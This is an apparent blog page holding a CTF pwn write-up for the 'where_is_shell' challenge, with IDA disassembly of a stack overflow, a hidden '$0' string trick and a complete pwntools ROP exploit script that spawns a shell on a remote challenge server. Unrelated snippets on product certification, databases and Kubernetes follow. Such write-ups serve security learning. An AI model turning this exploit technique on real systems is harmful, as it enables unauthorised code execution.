news 2026/7/10 3:03:12

[GFCTF 2021]where_is_shell

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[GFCTF 2021]where_is_shell

第一次打CTF——PWN篇学习笔记16

在ida中看一看,发现可疑地址

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF ​ system("echo 'zltt lost his shell, can you find it?'"); read(0, buf, 0x38u); return 0; } __int64 tips() { return MEMORY[0x403569](); }

看了其他师傅的wp,发现这是一个后门函数,在ida中Options-General-Disassembly-Number of opcode bytes改成10即可发现24 30($0)可用于获得shell

.text:0000000000400537 tips proc near .text:0000000000400537 ; __unwind { .text:0000000000400537 55 push rbp .text:0000000000400538 48 89 E5 mov rbp, rsp .text:000000000040053B B8 00 00 00 00 mov eax, 0 .text:0000000000400540 E8 24 30 00 00 call near ptr 403569h .text:0000000000400545 90 nop .text:0000000000400546 5D pop rbp .text:0000000000400547 C3 retn .text:0000000000400547 ; } // starts at 400537 .text:0000000000400547 tips endp
.text:0000000000400548 ; int __fastcall main(int argc, const char **argv, const char **envp) .text:0000000000400548 public main .text:0000000000400548 main proc near ; DATA XREF: _start+1D↑o .text:0000000000400548 .text:0000000000400548 buf = byte ptr -10h .text:0000000000400548 .text:0000000000400548 ; __unwind { .text:0000000000400548 push rbp .text:0000000000400549 mov rbp, rsp .text:000000000040054C sub rsp, 10h .text:0000000000400550 lea rdi, command ; "echo 'zltt lost his shell, can you find"... .text:0000000000400557 call _system .text:000000000040055C lea rax, [rbp+buf] .text:0000000000400560 mov edx, 38h ; '8' ; nbytes .text:0000000000400565 mov rsi, rax ; buf .text:0000000000400568 mov edi, 0 ; fd .text:000000000040056D mov eax, 0 .text:0000000000400572 call _read .text:0000000000400577 mov eax, 0 .text:000000000040057C leave .text:000000000040057D retn .text:000000000040057D ; } // starts at 400548 .text:000000000040057D main endp

取system地址0x400557,据此编写脚本,成功得到flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node4.anna.nssctf.cn",28152) ​ pop_rdi = 0x4005e3 system = 0x400557 backdoor = 0x400540 + 1 ​ payload = cyclic(0x10 + 8) + p64(pop_rdi) + p64(backdoor) + p64(system) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/10 0:10:25

淘宝天猫需要3c认证怎么办?

淘宝天猫上销售属于 3C 强制认证目录内的产品(如家电、数码充电器等),必须按正规流程办 3C 认证并完成平台备案,否则商品可能下架、店铺面临扣分。具体处理方式分自有货源和采购货源两种情况,详细流程如下:…

作者头像 李华
网站建设 2026/7/10 8:42:33

出口美国的电子电器产品需要做FCC认证吗?

出口美国的电子电器产品是否需要做 FCC 认证,要根据产品是否产生电磁辐射、是否具备主动射频发射功能来判断,分为两种情况:必须做 FCC 认证的产品具备主动射频发射功能的产品:比如带蓝牙、Wi-Fi、蜂窝通信的电子设备,这…

作者头像 李华
网站建设 2026/7/10 9:57:12

《国产数据库技术》学习心得:DM数据库实践之路

在数字化转型加速推进的背景下,国产数据库的重要性日益凸显。本学期通过《国产数据库技术》课程的学习,我重点钻研了达梦数据库(DM)的核心技术,从环境搭建到实操应用,逐步掌握了其安装配置、备份还原、SQL编…

作者头像 李华
网站建设 2026/7/10 7:00:37

记录线上k8s拉取不了阿里云镜像的一次临时处理

大致背景:本人今天有一个需求要上线,于是部署了2个服务,因为公司用的是k8s阿里云镜像,所以在公司的流程是部署完服务之后用生成的阿里云服务镜像地址去k8s管理平台直接替换对应服务的镜像地址,k8s部署完成即为完成上线…

作者头像 李华
网站建设 2026/7/10 11:07:00

8个降AI率工具,专科生必备避坑指南

8个降AI率工具,专科生必备避坑指南 AI降重工具:专科生论文写作的“隐形助手” 随着人工智能技术在学术领域的广泛应用,越来越多的专科生开始面临一个共同的难题——如何降低论文中的AIGC率,同时保持内容的逻辑性和语义通顺。尤其是…

作者头像 李华